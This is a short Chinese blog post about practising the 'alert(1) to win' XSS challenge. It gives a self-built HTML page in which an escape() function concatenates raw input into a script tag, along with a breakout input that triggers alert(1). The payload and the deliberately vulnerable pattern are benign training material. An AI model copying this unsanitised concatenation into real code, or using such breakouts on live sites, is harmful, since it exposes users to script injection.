【20171025中】alert(1) to win 指令碼渲染自建

劍西樓發表於2017-10-25
指令碼

  遊戲誤人生，一下午玩了將近四個小時的三國殺，後悔不已，然後重新拾起xss challenge，突發奇想，自己構建渲染後的html。

  從最簡單的開始。

  

 

  自動檢測html:

  

<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

</head>
<body>

<script type="text/javascript">
function escape(s) {
  var res = '<script>console.log("'+s+'");<\/script>';
  return res;
}
var inputStr = '");alert(1,"';
var ok = escape(inputStr);
document.write(ok);
</script>

</body>
</html>

  效果：

 

 知識積累：

javascript中使用document.write()載入新的js程式碼，剛開始老黑誤認為write函式將<script>給過濾掉了，這就TM尷尬了，呵呵呵。最後發現是自己的js程式碼有bug，在firefox下使用Firebug單步除錯了一下，才將bug解決掉，OK！

參考文章：

http://www.cnblogs.com/ziyunfei/p/5881426.html

 


相關文章